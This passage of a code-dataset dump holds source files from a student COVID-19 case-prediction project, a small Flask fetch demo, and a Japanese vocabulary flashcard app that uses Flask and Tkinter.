i<=LIMIT: \r\n i+=1\r\n random_list = [ x[len(x) - 1] + i ]\r\n random_array = np.array(random_list)\r\n random_array_reshaped = random_array.reshape(-1, 1)\r\n random_predicted_y_value = pol_reg.predict(poly_reg.fit_transform(random_array_reshaped))\r\n # Usually people train the data set before making a fit and predicting future data points, but since we didn't have a lot of data to begin with, we just used all the data\r\n if random_predicted_y_value >= 1:\r\n future_x.append(x[len(x) - 1] + i)\r\n predicted_y_perDay.append(int(random_predicted_y_value))\r\n\r\n else:\r\n break\r\n data['i'] = i\r\n if i> LIMIT:# possibility of a positive equation, which would be infinite\r\n print('unable to predict cases reliably')\r\n\r\n firstDay = data['totalCases'][-1]\r\n perDay1 = predicted_y_perDay.copy() # computes cases per day using total cases \r\n perDay2 = []\r\n\r\n for cases in range(len(perDay1)): # computes total cases per day\r\n if cases == 0:\r\n perDay2.append(firstDay + perDay1[cases])\r\n else:\r\n perDay2.append(perDay1[cases] + perDay2[cases-1])\r\n\r\n\r\n\r\n daysPredicted = []\r\n totalPredicted = []\r\n perDayPredicted = []\r\n \r\n\r\n daysPredicted = future_x\r\n totalPredicted = perDay2\r\n perDayPredicted = predicted_y_perDay\r\n\r\n\r\n data['daysPredicted'] = daysPredicted # gives computed data and returns it\r\n data['totalPredicted'] = totalPredicted\r\n data['perDayPredicted'] = perDayPredicted\r\n \r\n return data\r\n\r\n\r\n" }, { "alpha_fraction": 0.5817555785179138, "alphanum_fraction": 0.5927711129188538, "avg_line_length": 37.79452133178711, "blob_id": "b32c8f34607d92dafe6138437fde70c4879d90ea", "content_id": "7d6b05abd51de02d52eb9102e4f7222c119276ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2905, "license_type": "no_license", "max_line_length": 181, "num_lines": 73, "path": "/frontend/frontend.py", "repo_name": "SimonTheWang/coronavirusGrapher", "src_encoding": "UTF-8", "text": "# from ..backend import getData\r\nfrom getData import *\r\nfrom machinelearning import *\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nLIMIT = 1000\r\ndef run():\r\n print('available countries are: ' + displayCountries(getCountries()) )\r\n country = (input('Select a country: '))\r\n status = input('Enter Status number (1 : (confirmed) , 2 : (recovered) , 3 : (deaths): ')\r\n\r\n possibleProvinceCity = (searchProvince(getData(country)))# searches for possible provinces and/or cities tied to the country\r\n\r\n possibleProvinces = ', '.join(list(possibleProvinceCity.keys()))\r\n\r\n if possibleProvinces:# makes additional inputs for province and/or cities if needed\r\n print('Available provinces are: ' + possibleProvinces)\r\n province = (input('Enter a province: ').title())\r\n possibleCities = ', '.join(list(possibleProvinceCity[province]))\r\n if possibleCities:\r\n print('Available cities are: ' + possibleCities)\r\n city = input('Enter a City')\r\n else:\r\n city = ''\r\n elif possibleProvinceCity['']:\r\n possibleCities = ', '.join(list(possibleProvinceCity[''].values()))\r\n print('Available cities are: ' + possibleCities)\r\n city = input('Enter a City') \r\n else:\r\n province = ''\r\n city = ''\r\n\r\n if province:# confirms input\r\n if city:\r\n print('Processing input of : Country: ' + country + ', Province: ' + province + ', City: ' + city)\r\n elif not city:\r\n print('Processing input of : Country: ' + country + ', Province: ' + province )\r\n else:\r\n print('Processing input of: ' +country)\r\n\r\n\r\n #sets the data\r\n data = machineLearning(parseData(getData(country,status),province, city))\r\n if data['daysPredicted']and data['type'] == 'confirmed':\r\n if data['i'] != LIMIT:\r\n print('expected resolution on day '+ str(data['daysPredicted'][-1]))\r\n\r\n x1 = (data['days'])\r\n x2 = data['daysPredicted']\r\n y1 = (data['totalCases'])\r\n y2 = (data['casesPerDay'])\r\n y11 = (data['perDayPredicted'])\r\n y22 = (data['totalPredicted'])\r\n\r\n # plot the data\r\n fig = plt.figure()\r\n ax = fig.add_subplot(1, 1, 1)\r\n if data['i'] != LIMIT:\r\n ax.plot(x2, y22,'--', color='tab:blue', label = 'predicted total cases')\r\n ax.plot(x2, y11,'--', color='tab:orange', label = 'predicted cases per day')\r\n plt.scatter(x1, y1,s= 1, color='tab:blue', label = 'total cases')\r\n plt.scatter(x1, y2,s = 1, color='tab:orange', label = 'cases per day')\r\n\r\n\r\n ax.set_xlabel('number of days')\r\n ax.set_ylabel(('cases of status : ' + data['type']))\r\n ax.legend()\r\n ax.set_title('# of cases of status: ' + data['type'] + ', with respect to time, starting from ' + data['day1'] +' in '+ data['province'] + data['city'] + ', ' + data['country'])\r\n\r\n # display the plot\r\n return plt.show()\r\n" }, { "alpha_fraction": 0.6023392081260681, "alphanum_fraction": 0.719298243522644, "avg_line_length": 11.285714149475098, "blob_id": "d3df4123d58811c2c7371cfea9c1c516599e5055", "content_id": "a705198ce051c1444b11bca080f97746007599d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 171, "license_type": "no_license", "max_line_length": 29, "num_lines": 14, "path": "/frontend/app.py", "repo_name": "SimonTheWang/coronavirusGrapher", "src_encoding": "UTF-8", "text": "\"\"\"\nSimon Wang, 1830099\nJun Hao Huang, 1830549\nMay 28, 2020\nVincent, instructor\nFinal Project\n\"\"\"\n\n\nfrom frontend import *\nfrom getData import *\nfrom machinelearning import *\n \nrun()" }, { "alpha_fraction": 0.7607843279838562, "alphanum_fraction": 0.8068627715110779, "avg_line_length": 100.80000305175781, "blob_id": "dff4d1e9fbbc5e76e64bd738297d7900671ffa12", "content_id": "ac4221cc66d5fac89e0e99f409059fe74bc71566", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1020, "license_type": "no_license", "max_line_length": 683, "num_lines": 10, "path": "/README.md", "repo_name": "SimonTheWang/coronavirusGrapher", "src_encoding": "UTF-8", "text": "# coronavirusGrapher\nThe task of this project is to predict the end of new cases of COVID-19 mathematically using data provided from a coronavirus API and using machine learning. The program, written in python, allows for users to input their respective countries, if available within the database and then enter their desired city or province if necessary, to view a graphical representation of the evolution of covid-19 cases in the chosen area. The prediction is handled using polynomial regression, and displays a polynomial of degree 2 to generalize a tendency for the total cases and cases per day of the virus in the given area, which allows for users to predict the number of cases in the future.\n\nKey-words: Polynomial regression, COVID-19, Python, Machine Learning, Graph\n\n-NOTE, this project is was created in summer 2020, thus the next few waves have not been accounted for\n\n#Example use case\n\n![image](https://user-images.githubusercontent.com/48161840/113587597-0189ba80-95fd-11eb-8fdf-d345a2e325a0.png)\n\n\n" } ]
5
Carlos-FerreiraJr/pandas
https://github.com/Carlos-FerreiraJr/pandas
fe76c6722c2761c9580dafcc655a5612a76f219e
f185926c706a81e74c89fd1671de89c0b72fa4a5
d7d34b274c3fc85f42a72ecb8a4af6df002950f3
refs/heads/master
2020-04-17T05:13:18.058142
2019-01-18T18:06:18
2019-01-18T18:06:18
166,268,785
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.45065397024154663, "alphanum_fraction": 0.4946492314338684, "avg_line_length": 7.842105388641357, "blob_id": "c2604797de44854bf0b5c30fbc5ec1da3471c979", "content_id": "bc2dd1541442b61bf591a6b84d9b6a20dbd9b84b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 841, "license_type": "no_license", "max_line_length": 78, "num_lines": 95, "path": "/pandas.py", "repo_name": "Carlos-FerreiraJr/pandas", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# ### pandas\n\n# ##### imports\n\n# In[16]:\n\n\nimport pandas as pd\n\n\n# In[5]:\n\n\nimport numpy as np\n\n\n# In[3]:\n\n\nimport matplotlib.pyplot as plt\n\n\n# <br>\n\n# ##### series dict\n\n# In[4]:\n\n\ndata = {'b':5,'c':6,'a':3}\n\n\n# In[5]:\n\n\ny = pd.Series(data)\n\n\n# <br>\n\n# ##### series ndarray\n\n# In[6]:\n\n\nx = pd.Series(np.random.randn(5))\n\n\n# In[34]:\n\n\nz = pd.Series([4,2,8],index = ['a','b','c'],name='myArray')\n\n\n# ###### scalar value\n\n# In[ ]:\n\n\na = pd.Series(6.,index = ['a','b','c','d','e','f'])\n\n\n# <br>\n\n# ##### DataFrame\n\n# In[63]:\n\n\nframe = np.zeros((3,), dtype=[('first','i4'),('Second','f4'),('third','a30')])\n\n\n# In[65]:\n\n\nframe[:] = [(1,2.,'Hello'),(2,3.,'world'),(3,4,('friday'))]\n\n\n# <br>\n\n# In[76]:\n\n\npd.DataFrame(frame)\n\n\n# <br>\n\n# In[82]:\n\n\npd.DataFrame(frame,index=['FColumn','SCColumn','TCColumn'])\n\n" } ]
1
ArdyTheRobot/FlaskFetch
https://github.com/ArdyTheRobot/FlaskFetch
75431ee914ac4352e492e153b4b121f75c8158ee
2707a4f729a4cab88ce22209dfe36b348a48d44f
78bf011b3ff3d98b96dc200603b1a33f7ed7f1a5
refs/heads/main
2023-01-05T01:50:08.491700
2020-10-26T19:40:13
2020-10-26T19:40:13
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5829629898071289, "alphanum_fraction": 0.5918518304824829, "avg_line_length": 27.125, "blob_id": "26d2ce89190862fdcaeb9fbe366ee301b503a84b", "content_id": "62b3c08244bd91e970828e02123b4f1bf826acdb", "detected_licenses": [ "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1350, "license_type": "permissive", "max_line_length": 112, "num_lines": 48, "path": "/app.py", "repo_name": "ArdyTheRobot/FlaskFetch", "src_encoding": "UTF-8", "text": "# app.py\nfrom flask import Flask, jsonify, request, render_template\napp = Flask(__name__)\n\n######## Example data, in sets of 3 ############\ndata = list(range(1,300,3))\nprint (data)\n\n\n\n######## HOME ############\[email protected]('/')\ndef test_page():\n example_embed='Sending data... [this is text from python]'\n # look inside `templates` and serve `index.html`\n return render_template('index.html', embed=example_embed)\n\n\n######## Example fetch ############\[email protected]('/test', methods=['GET', 'POST'])\ndef testfn():\n # POST request\n if request.method == 'POST':\n print(request.get_json()) # parse as JSON\n return 'OK', 200\n # GET request\n else:\n message = {'greeting':'Hello from Flask!'}\n return jsonify(message) # serialize and use JSON headers\n\n\n######## Data fetch ############\[email protected]('/getdata/<transaction_id>/<second_arg>', methods=['GET','POST'])\ndef datafind(transaction_id,second_arg):\n # POST request\n if request.method == 'POST':\n print('Incoming..')\n print(request.get_text()) # parse as text\n return 'OK', 200\n # GET request\n else:\n message = 't_in = %s ; result: %s ; opt_arg: %s'%(transaction_id, data[int(transaction_id)], second_arg)\n return message #jsonify(message) # serialize and use JSON headers\n\n\n\n# run app\napp.run(debug=True)\n" }, { "alpha_fraction": 0.7124999761581421, "alphanum_fraction": 0.746874988079071, "avg_line_length": 21.85714340209961, "blob_id": "6b60b7ddcb8d8a230d7d3793cbc804e400809cd6", "content_id": "8a4dd2fb42b1bba0ba94fca798369dd44ffdfafb", "detected_licenses": [ "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 320, "license_type": "permissive", "max_line_length": 101, "num_lines": 14, "path": "/README.md", "repo_name": "ArdyTheRobot/FlaskFetch", "src_encoding": "UTF-8", "text": "# FlaskFetch\nUsing the Fetch API to communicate between flask and a served webpage\n\n### Process explained on :\nhttps://towardsdatascience.com/talking-to-python-from-javascript-flask-and-the-fetch-api-e0ef3573c451\n\n\n### Run using : \n`python app.py`\n\n\n\n### Expected Output\n<image width='500px' src='./example_output.png'>\n" } ]
2
bibarz/sotana
https://github.com/bibarz/sotana
9e98f206ab244f85f7ebb33cc73254d7392badb7
79e6c23b9f9edefa190bb8e52dd51683cd83d6fb
f8699b91cdff130ecbbd975816d30d8b6d39a855
refs/heads/master
2020-04-17T05:54:55.774661
2016-10-17T16:02:11
2016-10-17T16:02:11
67,334,542
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5694234371185303, "alphanum_fraction": 0.575753390789032, "avg_line_length": 32.334861755371094, "blob_id": "fe4613dabf67e72a20359959b2849ef71c0f5e98", "content_id": "6d95ee149d6cf2015b03c1a7e53d84968d841347", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7267, "license_type": "no_license", "max_line_length": 133, "num_lines": 218, "path": "/sotana_flask.py", "repo_name": "bibarz/sotana", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport numpy as np\nimport os\nimport time\nfrom sotana import read_words_and_kanji, ChartParser, jReads, tokenizedRomaji, ref_string, sep_string\nfrom flask import Flask, session, redirect, url_for, render_template\n\n\napp = Flask(__name__)\napp.secret_key = 'sotana'\nhistories = {}\nsession_expiration_seconds = 24 * 3600 * 7 # sessions expire after not being used for this\nos.environ['PATH'] += ':/usr/local/bin'\n\n\ndef update_time_decorator(f):\n def wrapper(self, *args, **kwargs):\n self.last_time_used = time.time()\n return f(self, *args, **kwargs)\n return wrapper\n\nclass History(object):\n def __init__(self):\n self.last_time_used = time.time()\n self.history = []\n self.hist_index = 0\n self.current_kanji = None\n self.kataDict = ChartParser('data/katakanaChart.txt').chartParse()\n self.dicts, self.kanji_data = read_words_and_kanji('japdic.xlsx')\n self.default_dict_name='mimi'\n self.probs = np.ones(len(self.dicts[self.default_dict_name])) / len(self.dicts[self.default_dict_name])\n self.words = {k: [d['word'] for d in self.dicts[k]] for k in self.dicts.keys()}\n self.kanji = [d['kanji'] for d in self.kanji_data]\n\n def random_sample(self):\n i = np.digitize(np.random.random(1), np.cumsum(self.probs))[0]\n self.probs[i] *= 0.2\n self.probs /= np.sum(self.probs)\n return i\n\n @update_time_decorator\n def add_to_history(self, i):\n self.last_used_time = time.time()\n self.history = self.history[:self.hist_index] + [i]\n self.hist_index += 1\n\n @update_time_decorator\n def hist_button_status(self):\n self.last_used_time = time.time()\n status = {\n 'has_prev': self.hist_index > 1,\n 'has_next': self.hist_index < len(self.history),\n 'index_label': str(\"%i/%i\" % (self.hist_index, len(self.history)))\n }\n return status\n\n @update_time_decorator\n def history_back(self):\n self.hist_index -= 1\n self.show_next(i=self.history[self.hist_index-1], remember=False)\n\n @update_time_decorator\n def history_forward(self):\n self.show_next(i=self.history[self.hist_index], remember=False)\n self.hist_index += 1\n self._update_hist_button_status()\n\n\ndef _cleanup_histories():\n # Delete old histories after session_expiration_seconds inactive\n t = time.time()\n for c in histories.keys():\n if t - histories[c].last_time_used > session_expiration_seconds:\n del histories[c]\n\n\ndef _get_session_history():\n if 'code' not in session:\n return False, redirect(url_for('no_session'))\n code = session['code']\n if code not in histories:\n return False, redirect(url_for('no_session'))\n return True, histories[code]\n\n\[email protected]('/')\ndef default():\n return '''\n <a href='/start_session'> Click to start </a>\n '''\n\[email protected]('/start_session')\ndef start_session():\n _cleanup_histories()\n code = np.random.random()\n session['code'] = code\n histories[code] = History()\n return redirect(url_for('new_card'))\n\n\ndef _make_kanji_rule(h, c):\n return url_for('new_card', index=h.history[h.hist_index - 1][0],\n dict_name=h.history[h.hist_index - 1][1],\n remember=False, kanji=c, show_all=True)\n\n\ndef _make_kanji_list(h, kanjis):\n kanji_list = []\n for c in kanjis:\n is_linkable = (0x4e00 <= ord(c) <= 0x9faf) and (c in h.kanji) # it is a kanji and we have it in the database\n kanji_list.append(dict(value=c, has_link=is_linkable, link=(_make_kanji_rule(h, h.kanji.index(c)) if is_linkable else None)))\n return kanji_list\n\n\[email protected]('/new_card')\[email protected]('/new_card/<int:index>')\[email protected]('/new_card/<int:index>/<dict_name>')\[email protected]('/new_card/<int:index>/<dict_name>/<int:remember>')\[email protected]('/new_card/<int:index>/<dict_name>/<int:remember>/<int:kanji>')\[email protected]('/new_card/<int:index>/<dict_name>/<int:remember>/<int:kanji>/<int:show_all>')\ndef new_card(index=None, dict_name=None, remember=True, kanji=None, show_all=False):\n success, h = _get_session_history()\n if not success:\n return h\n\n if dict_name is None:\n dict_name = h.default_dict_name\n\n if kanji is not None:\n h.current_kanji = kanji\n\n while index is None:\n index = h.random_sample()\n if h.dicts[h.default_dict_name][index]['lesson'] > 150000:\n index = None\n\n if remember:\n h.add_to_history((index, dict_name))\n\n data = h.dicts[dict_name][index]\n\n kana = ''.join([x.split(',')[-1] for x in jReads(data['word'])])\n romaji = ' '.join(tokenizedRomaji(unicode(data['word']))).encode('utf-8')\n ref = ref_string(data)\n related = []\n if data['related words']:\n words = sep_string(data['related words'])\n for i, w in enumerate(words):\n w = w.strip()\n for k in h.words.keys():\n if w in h.words[k]:\n related.append(dict(value=w, has_link=True,\n link=url_for('new_card', index=h.words[k].index(w),\n dict_name=k, remember=True)))\n break\n else:\n related.append(dict(value=w, has_link=False, link=None))\n\n\n word = _make_kanji_list(h, data['word'])\n\n example = ''\n if 'example' in data and data['example']:\n example = data['example']\n\n main_dict = dict(meaning=data['meaning'],\n kana=kana, romaji=romaji,\n ref=ref_string(data),\n related=related,\n word=word,\n example=example,\n show_all=show_all)\n\n if h.current_kanji is None:\n kanjidict = {}\n else:\n kanji_data = h.kanji_data[h.current_kanji]\n related_kanji = _make_kanji_list(h, sep_string(kanji_data['related kanji']))\n\n kanjidict = dict(kanji=kanji_data['kanji'],\n kanjikun=kanji_data['kun'],\n kanjion=kanji_data['on'],\n kanjirelated=related_kanji,\n kanjimeaning=kanji_data['meaning'],\n kanjimnemo=kanji_data['explanation']\n )\n\n main_dict.update(kanjidict)\n main_dict.update(h.hist_button_status())\n\n return render_template('card.html', **main_dict)\n\n\[email protected]('/prev_card')\ndef prev_card():\n success, h = _get_session_history()\n if not success:\n return h\n h.hist_index -= 1\n return redirect(url_for('new_card', index=h.history[h.hist_index - 1][0],\n dict_name=h.history[h.hist_index - 1][1], remember=False,\n kanji=h.current_kanji))\n\n\[email protected]('/next_card')\ndef next_card():\n success, h = _get_session_history()\n if not success:\n return h\n h.hist_index += 1\n return redirect(url_for('new_card', index=h.history[h.hist_index - 1][0],\n dict_name=h.history[h.hist_index - 1][1], remember=False,\n kanji=h.current_kanji))\n\n\[email protected]('/no_session')\ndef no_session():\n return (\"Session expired!\")\n" }, { "alpha_fraction": 0.5329182147979736, "alphanum_fraction": 0.544692873954773, "avg_line_length": 36.425846099853516, "blob_id": "5e30afd2399456a064c3caae5ced735c795c976b", "content_id": "e18bd6302971a19b8e67a4dca4e22a2c1fa043aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 17675, "license_type": "no_license", "max_line_length": 125, "num_lines": 472, "path": "/sotana.py", "repo_name": "bibarz/sotana", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport Tkinter as Tk\nimport tkFont\nimport sys\nimport numpy as np\nimport webbrowser\nimport urllib\nimport xlrd\nimport xml.etree.cElementTree as etree\nimport re\nimport subprocess\nimport StringIO\n\n\ndef cabocha_xml(sent):\n \"\"\"\n @return type = unicode\n -xml format unicode string is returned \n \"\"\"\n command = 'cabocha -f 3'\n p = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n output, _ = p.communicate(sent)\n return unicode(output, 'utf8')\n\n\nclass ChartParser(object):\n def __init__(self, chartFile):\n with open('katakanaChart.txt') as f:\n self.chart = f.readlines()\n\n def chartParse(self):\n \"\"\"\n @return chartDict\n ガ ==> g,a\n キ ==> k,i\n キャ ==> k,ya\n Similarily for Hiragana\n @setrofim : http://www.python-forum.org/pythonforum/viewtopic.php?f=3&t=31935\n \"\"\"\n lines = self.chart\n chartDict = {}\n output = {}\n col_headings = lines.pop(0).split()\n for line in lines:\n cells = line.split()\n for i, c in enumerate(cells[1:]):\n output[c] = (cells[0], col_headings[i])\n for k in sorted(output.keys()):\n #@k = katakana\n #@r = first romaji in row\n #@c = concatinating romaji in column\n r, c = output[k]\n k, r, c = [unicode(item,'utf-8') for item in [k,r,c]]\n if k == 'X':continue\n if r=='s' and c[0] == 'y':\n c = 'h' + c[1:]\n if r=='s' and c == 'i':\n c = 'hi'\n if r=='j' and c[0] == 'y':\n c = c[1:]\n if r=='t' and c[0] == 'y':\n r = 'c'\n c = 'h' + c[1:]\n romaji = ''.join([item.replace('X', '') for item in [r,c]])\n chartDict[k] = romaji\n return chartDict\n\n\ndef tokenizedRomaji(jSent):\n kataDict = ChartParser('data/katakanaChart.txt').chartParse()\n tokenizeRomaji = []\n def check_duplicate(s, duplicate):\n if not duplicate:\n return s\n else:\n return s[0] + s\n\n duplicate = False\n for kataChunk in jReads(jSent):\n romaji = ''\n for idx, kata in enumerate(kataChunk,1):\n if idx != len(kataChunk):\n doubles = kata+kataChunk[idx]\n if kataDict.has_key(doubles):\n romaji += check_duplicate(kataDict[doubles], duplicate)\n duplicate = False\n continue\n if kataDict.has_key(kata):\n next_romaji = kataDict[kata]\n if next_romaji == 'hu':\n next_romaji = 'fu'\n romaji += check_duplicate(kataDict[kata], duplicate)\n duplicate = False\n elif ord(kata) == 12483: # 12483 = unicode for ッ \n duplicate = True\n else:\n duplicate = False\n pass\n #checkPunctuation(kata)\n tokenizeRomaji.append(romaji)\n return tokenizeRomaji\n\n\ndef jReads(target_sent):\n sentence = etree.fromstring(cabocha_xml(target_sent.encode('utf-8')).encode('utf-8'))\n return [tok.get(\"feature\").split(',')[-1] for chunk in sentence for tok in chunk.findall('tok')]\n\n\ndef sep_string(s):\n return [x for x in s.replace(unicode(u'\\u3001'), ',').replace(unicode(u'\\uff0c'),',').split(',') if x] \n\n\ndef read_words_and_kanji(filename):\n dicts = {}\n for sheet in ['EK1', 'EK2', 'EK2Old', 'JBP3', 'mimi']:\n workbook = xlrd.open_workbook(filename)\n worksheet = workbook.sheet_by_name(sheet)\n num_cells = worksheet.ncols\n fields = ['word', 'meaning', 'kanji', 'page', 'lesson', 'related words', 'example']\n #assert num_cells >= len(fields)\n dict_words = [dict(zip(fields, v[:len(fields)])) for v in worksheet._cell_values]\n dicts[sheet] = dict_words\n\n worksheet = workbook.sheet_by_name('Kanji')\n num_cells = worksheet.ncols\n fields = ['kanji', 'kun', 'on', 'related kanji', 'meaning', 'explanation']\n assert num_cells >= len(fields)\n dict_kanji = [dict(zip(fields, v[:len(fields)])) for v in worksheet._cell_values]\n\n return dicts, dict_kanji\n\n\ndef to_str(x):\n if isinstance(x, (float, int)):\n return ('%i' % x)\n else:\n return x\n\n\ndef ref_string(data): \n k = to_str(data['kanji'])\n p = to_str(data['page'])\n l = to_str(data['lesson'])\n return \"k %s, p %s, l %s\" % (k, p, l)\n\n\ndef browse_kanji(c):\n url = \"http://www.romajidesu.com/kanji/\"\n controller = webbrowser.get('firefox')\n controller.open(url + urllib.quote(c.encode('utf-8')))\n\n\nclass Card(object):\n kataDict = ChartParser('data/katakanaChart.txt').chartParse()\n def __init__(self, n_frames, app, frame, **params):\n self.app = app\n self.card_frame = frame\n self.frames = [Tk.Frame(frame, **params) for _ in range(n_frames)]\n self.blinders = [Tk.Frame(frame, **params) for _ in self.frames]\n for i, b in enumerate(self.blinders):\n b.bind(\"<Button-1>\", lambda event, i=i: self.turn(i))\n \n for i, (f, b) in enumerate(zip(self.frames, self.blinders)):\n b.grid(row=i)\n f.grid(in_=b)\n\n self.visible = [False for _ in self.frames]\n\n def turn(self, i):\n if self.visible[i]:\n self.frames[i].lower(self.blinders[i])\n else:\n self.frames[i].lift(self.blinders[i])\n self.visible[i] = not self.visible[i]\n\n def reveal_more(self):\n for i, v in enumerate(self.visible):\n if not v:\n self.turn(i)\n return\n # All is revealed; hide last\n self.turn(-1)\n\n\nclass WordCard(Card):\n def __init__(self, data, *args, **kwargs):\n Card.__init__(self, 3, *args, **kwargs)\n\n format = {'fg': 'white',\n 'bg': 'black'}\n\n l = Tk.Label(self.frames[0], text=data['meaning'], font=(\"Lucida Grande\", 20), **format)\n l.bind(\"<Button-1>\", lambda event: self.turn(0))\n l.grid(row=0)\n \n kana = ''.join([x.split(',')[-1] for x in jReads(data['word'])])\n romaji = ' '.join(tokenizedRomaji(unicode(data['word']))).encode('utf-8')\n for col, c in enumerate(data['word']):\n l = Tk.Label(self.frames[2], text=c, font=(\"Lucida Grande\", 60), **format)\n if 0x4e00 <= ord(c) <= 0x9faf: # kanji\n l.bind(\"<Button-1>\", lambda event, c=c: self.app.show_kanji(c))\n else:\n l.bind(\"<Button-1>\", lambda event: self.turn(2))\n l.grid(row=0, column=col)\n\n l = Tk.Label(self.frames[1], text=kana, font=(\"Lucida Grande\", 20), **format)\n l.bind(\"<Button-1>\", lambda event: self.turn(1))\n l.grid(row=0)\n l = Tk.Label(self.frames[1], text=romaji, font=(\"Lucida Grande\", 20), **format)\n l.bind(\"<Button-1>\", lambda event: self.turn(1))\n l.grid(row=1)\n l = Tk.Label(self.frames[1], text=ref_string(data), font=(\"Lucida Grande\", 20), **format)\n l.bind(\"<Button-1>\", lambda event: self.turn(1))\n l.grid(row=2)\n\n if data['related words']:\n related_frame = Tk.Frame(self.frames[1], bg='black')\n words = sep_string(data['related words'])\n for i, w in enumerate(words):\n w = w.strip()\n for k in self.app.words.keys():\n if w in self.app.words[k]:\n elem = Tk.Button(related_frame, text=w, font=(\"Lucida\", 20),\n command=lambda i=(self.app.words[k].index(w), k): self.app.show_next(i),\n **format)\n break\n else:\n elem = Tk.Label(related_frame, text=w, font=(\"Lucida\", 20), **format)\n elem.grid(row=0, column=i)\n related_frame.grid(row=3)\n\n if 'example' in data and data['example']:\n example_frame = Tk.Frame(self.frames[2], bg='black')\n l = Tk.Text(example_frame, font=(\"Lucida Grande\", 14), width=30,\n height=len(data['example'])/30 + 1, **format)\n l.insert('1.0', data['example'])\n l.grid(row=0)\n example_frame.grid(row=1, columnspan=len(data['word']))\n\n\nclass KanjiCard(Card):\n def __init__(self, data, *args, **kwargs):\n Card.__init__(self, 6, *args, **kwargs)\n\n format = {'fg': 'white',\n 'bg': 'black'}\n\n l = Tk.Label(self.frames[0], text=data['kanji'], font=(\"Lucida Grande\", 60), **format)\n l.bind(\"<Button-1>\", lambda event: browse_kanji(data['kanji']))\n l.grid(row=0)\n \n for col, c in enumerate(sep_string(data['kun'])):\n l = Tk.Label(self.frames[1], text=c, font=(\"Lucida Grande\", 20), **format)\n l.bind(\"<Button-1>\", lambda event, c=c: self.app.kanjis_with_kun(c))\n l.grid(row=0, column=col)\n for col, c in enumerate(sep_string(data['on'])):\n l = Tk.Label(self.frames[2], text=c, font=(\"Lucida Grande\", 20), **format)\n l.bind(\"<Button-1>\", lambda event, c=c: self.app.kanjis_with_on(c))\n l.grid(row=0, column=col)\n for col, c in enumerate(sep_string(data['related kanji'])):\n l = Tk.Label(self.frames[3], text=c, font=(\"Lucida Grande\", 40), **format)\n if 0x4e00 <= ord(c) <= 0x9faf: # kanji\n l.bind(\"<Button-1>\", lambda event, c=c: self.app.show_kanji(c))\n l.grid(row=0, column=col)\n\n l = Tk.Text(self.frames[4], font=(\"Lucida Grande\", 28), width=len(data['meaning']), height=1, **format)\n l.insert('1.0', data['meaning'])\n l.bind(\"<Button-1>\", lambda event, c=c: self.app.words_from_kanji(data['kanji']))\n l.grid(row=0)\n l = Tk.Text(self.frames[5], font=(\"Lucida Grande\", 14), width=30, height=len(data['explanation']) / 30 + 1, **format)\n l.insert('1.0', data['explanation'])\n l.grid(row=0)\n\n for i in range(1, 6):\n self.turn(i)\n\n\nclass App(Tk.Frame):\n def __init__(self, dict_data, kanji_data, default_dict_name, master=None, **params):\n Tk.Frame.__init__(self, master, **params)\n self.grid(sticky=Tk.N + Tk.S + Tk.E + Tk.W) # make it resizable\n self.dict_data = dict_data\n self.default_dict_name = default_dict_name\n self.kanji_data = kanji_data\n self.words = {k: [d['word'] for d in dict_data[k]] for k in dict_data.keys()}\n self.kanji = [d['kanji'] for d in kanji_data]\n self.history = []\n self.hist_index = 0\n self.probs = np.ones(len(self.dict_data[self.default_dict_name])) / len(self.dict_data[self.default_dict_name])\n \n btn = Tk.Button(self, text='New', command=self.show_next)\n btn.grid(row=0, column=0)\n self.prev_btn = Tk.Button(self, text='Prev', command=self.history_back)\n self.prev_btn.grid(row=0, column=1)\n self.next_btn = Tk.Button(self, text='Next', command=self.history_forward)\n self.next_btn.grid(row=0, column=2)\n self.idx_label = Tk.Label(self, text='', font=(\"Lucida Grande\", 14), fg='white', bg='black')\n self.idx_label.grid(row=0, column=3)\n self.card_frame = Tk.Frame(self, **params)\n self.card_frame.grid(row=1, columnspan=4)\n self.kanji_frame = None\n self.kanji_list_frame = None\n self.word_list_frame = None\n self.bind_all(\"<Right>\", self.next_or_forward)\n self.bind_all(\"<Left>\", self.nothing_or_backward)\n self.bind_all(\"<space>\", self.reveal_more)\n \n self.show_next()\n self.grid()\n \n def reveal_more(self, event):\n self.last_word_card.reveal_more()\n\n def next_or_forward(self, event):\n if self.next_btn['state'] == 'disabled':\n self.show_next()\n else:\n self.history_forward()\n\n def nothing_or_backward(self, event):\n if self.prev_btn['state'] == 'disabled':\n return\n else:\n self.history_back()\n\n def add_to_history(self, i):\n self.history = self.history[:self.hist_index] + [i]\n self.hist_index += 1\n self._update_hist_button_status()\n\n def history_back(self):\n self.hist_index -= 1\n self.show_next(i=self.history[self.hist_index-1], remember=False)\n self._update_hist_button_status()\n\n def history_forward(self):\n self.show_next(i=self.history[self.hist_index], remember=False)\n self.hist_index += 1\n self._update_hist_button_status()\n\n def _update_hist_button_status(self):\n self.prev_btn['state'] = 'disabled' if self.hist_index == 1 else 'normal'\n self.next_btn['state'] = 'disabled' if self.hist_index >= len(self.history) else 'normal'\n self.idx_label['text'] = str(\"%i/%i\" % (self.hist_index, len(self.history)))\n\n def random_sample(self):\n i = np.digitize(np.random.random(1), np.cumsum(self.probs))[0]\n self.probs[i] *= 0.2\n self.probs /= np.sum(self.probs)\n return i\n\n def show_next(self, i=None, remember=True):\n # i can be:\n # None, meaning take a random card from default deck\n # an integer: index in default deck\n # a tuple (index, dict_name)\n while i is None:\n i = self.random_sample()\n if self.dict_data[self.default_dict_name][i]['lesson'] > 150000:\n i = None\n if remember:\n self.add_to_history(i)\n 